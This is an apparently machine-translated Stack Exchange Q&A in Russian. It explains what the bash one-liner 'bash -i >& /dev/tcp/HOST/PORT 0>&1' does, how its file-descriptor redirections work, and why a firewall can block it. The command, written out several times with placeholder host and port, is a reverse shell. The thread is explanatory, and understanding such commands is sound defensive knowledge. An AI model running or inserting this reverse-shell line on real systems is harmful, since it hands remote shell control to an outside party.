Значение bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

Я старался

bash -i >& /dev/tcp/HOST/PORT 0>&1

но, похоже, он не работает за брандмауэрами. Что на самом деле делает этот код, какие порты перенаправляются и может ли он работать за брандмауэрами?

Helos
источник

Ответы:

17

Этот фрагмент запускает новый интерактивный экземпляр bash ( bash -i) по TCP-соединению с указанным портом на указанном хосте, который создается на время процесса bash. Стандартный вывод и стандартная ошибка отправляются через это соединение ( >& /dev/tcp/HOST/PORT), и стандартный ввод считывается через это соединение ( 0>&1это должно быть, 0<&1но 0>&1тоже работает).

Переадресация портов не происходит. Очевидно, что некоторый TCP-сервер должен прослушивать и принимать соединения на этом HOST: PORT, а брандмауэр должен пропустить соединение.

Жиль "ТАК - перестань быть злым"
источник
Какое соединение '/ dev / tcp / HOST / PORT' Где определен хост и где определен порт?
Helos
2
@ Привет, ты буквально видел /dev/tcp/HOST/PORT? Я предположил, что вы заменили имя на, HOSTа число на PORT. В противном случае вы получите сообщение об ошибке от bash. Поскольку вы не упомянули ни одного сообщения об ошибке, я предполагаю, что вы его не видели.
Жиль "ТАК ... перестать быть злым"
1
@ Жиль, я не могу переварить 0<&1часть. Я читаю это как «возьми bash stdout ( &1) и отправь в bash stdin ( 0)», что имеет смысл. Не могли бы вы объяснить, как работает эта часть?
Голем
5
@golem Это перенаправление. Труба не участвует. 0<&1означает подключить все, что в данный момент открыто в файловом дескрипторе 1, к файловому дескриптору 0. Поскольку предыдущее перенаправление >& /dev/tcp/HOST/PORTподключало fd 1 (по умолчанию для перенаправления вывода) /dev/tcp/HOST/PORT, то есть открывало сокет TCP, это дублирует TCP-соединение с файловым дескриптором 0 (то есть тот же сокет теперь также открыт на fd 0, это отличается от 0 </ dev / tcp / HOST / PORT, который открыл бы другой сокет для того же сервера).
Жиль "ТАК - перестань быть злым"
Подключение было ключевым словом в моем понимании; вызов процесса трубопровода был действительно то , что меня смутило.
Голем